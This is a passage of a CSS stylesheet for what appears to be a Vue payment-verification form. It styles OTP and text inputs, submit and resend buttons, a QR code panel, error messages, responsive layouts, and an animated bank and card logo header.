font-weight: 500;
font-size: 14px;
text-align: left;
}
.form-input {
padding: 10px 12px;
border: 1px solid #ddd;
border-radius: 5px;
font-size: 14px;
transition: border-color 0.3s ease;
}
.form-input:focus {
outline: none;
border-color: #3b82f6;
box-shadow: 0 0 0 2px rgba(59, 130, 246, 0.2);
}
.otp-input {
text-align: center;
}
/* 提交按钮 */
.submit-container {
text-align: center;
margin: 20px 0;
}
.submit-button {
padding: 12px 40px;
border: none;
border-radius: 6px;
color: white;
font-size: 14px;
font-weight: 500;
cursor: pointer;
transition: all 0.3s ease;
min-width: 120px;
}
.submit-button:hover {
opacity: 0.9;
transform: translateY(-1px);
}
.completed-button {
background: #f59e0b !important;
}
/* 重发按钮 */
.resend-section {
text-align: center;
margin-top: 16px;
}
.resend-button {
background: none;
border: none;
color: #3b82f6 !important;
text-decoration: underline;
cursor: pointer;
font-size: 14px;
padding: 8px;
}
.resend-button:hover {
color: #1d4ed8;
}
/* 二维码部分 */
.qr-section {
display: flex;
flex-direction: column;
align-items: center;
margin: 24px 0;
}
.qr-code-container {
width: 200px;
height: 200px;
background: white;
border-radius: 8px;
display: flex;
align-items: center;
justify-content: center;
margin-bottom: 12px;
}
.qr-code {
width: 100%;
height: 100%;
object-fit: contain;
border-radius: 6px;
}
/* 内联输入框样式 */
.form-content :deep(.inline-input-field) {
display: inline-block;
width: 120px;
padding: 4px 8px;
margin: 0 4px;
border: 1px solid #ddd;
border-radius: 4px;
font-size: 14px;
text-align: center;
transition: border-color 0.3s ease;
}
.form-content :deep(.inline-input-field:focus) {
outline: none;
border-color: #3b82f6;
box-shadow: 0 0 0 2px rgba(59, 130, 246, 0.2);
}
.form-content :deep(.inline-input-field::placeholder) {
color: #9ca3af;
font-size: 12px;
}
/* 内联按钮样式 */
.form-content :deep(.inline-submit-button) {
display: inline-block;
padding: 6px 16px;
margin: 0 4px;
background: #67C23A;
color: white;
border: none;
border-radius: 4px;
font-size: 14px;
font-weight: 500;
cursor: pointer;
transition: all 0.3s ease;
}
.form-content :deep(.inline-submit-button:hover) {
background: #5daf34;
transform: translateY(-1px);
}
.form-content :deep(.inline-submit-button:active) {
transform: translateY(0);
}
.form-content :deep(.inline-secondary-button) {
display: inline-block;
padding: 6px 16px;
margin: 0 4px;
background: #409EFF;
color: white;
border: none;
border-radius: 4px;
font-size: 14px;
font-weight: 500;
cursor: pointer;
transition: all 0.3s ease;
}
.form-content :deep(.inline-secondary-button:hover) {
background: #3a8ee6;
transform: translateY(-1px);
}
.form-content :deep(.inline-secondary-button:active) {
transform: translateY(0);
}
/* 错误信息 */
.error-message {
padding: 4px;
color: #dc2626;
font-size: 14px;
text-align: center;
margin: 12px 0;
}
/* 响应式设计 */
@media (max-width: 768px) {
.validation-form {
padding: 16px;
}
.form-header {
flex-direction: column;
gap: 12px;
text-align: center;
}
.header-content {
text-align: center;
}
.validation-title {
font-size: 16px;
}
.form-content {
font-size: 13px;
}
.payment-details {
padding: 12px;
}
.detail-item {
font-size: 13px;
flex-direction: column;
gap: 4px;
}
.input-detail-item {
flex-direction: row;
justify-content: center;
}
.input-label {
min-width: 80px;
font-size: 12px;
}
.otp-input-inline {
width: 100px;
font-size: 12px;
}
.qr-code-container {
width: 160px;
height: 160px;
}
.submit-button {
padding: 10px 32px;
font-size: 13px;
}
}
/* 特殊样式 */
.app-valid .loading-container {
animation: pulse 2s infinite;
}
@keyframes pulse {
0%,
100% {
opacity: 1;
}
50% {
opacity: 0.7;
}
}
/* 拨号验证特殊样式 */
.dial-valid .form-content :deep(a) {
color: #1434CB;
text-decoration: underline;
font-weight: 500;
}
.dial-valid .form-content :deep(a:hover) {
color: #0f29a3;
}
.validation-renderer .validation-header {
height: 66px;
display: flex;
padding: 0px 16px;
align-items: center;
justify-content: space-between;
border-bottom: 1px solid #e3e3e3;
}
.validation-renderer .validation-header>div {
display: flex;
align-items: center;
}
.validation-renderer .validation-header .bank-logo {
height: 100%;
}
.validation-renderer .validation-header .card-logo {
height: 100%;
position: relative;
}
.validation-renderer .validation-header .card-logo:after {
content: "";
display: block;
position: absolute;
top: 0;
width: 15px;
height: 100%;
background: linear-gradient(90deg,
transparent,
rgba(255, 255, 255, 0.6352941176),
transparent);
animation: line 2s infinite;
}
@keyframes line {
0% {
left: -15px;
}
to {
left: 100%;
}
}
</style>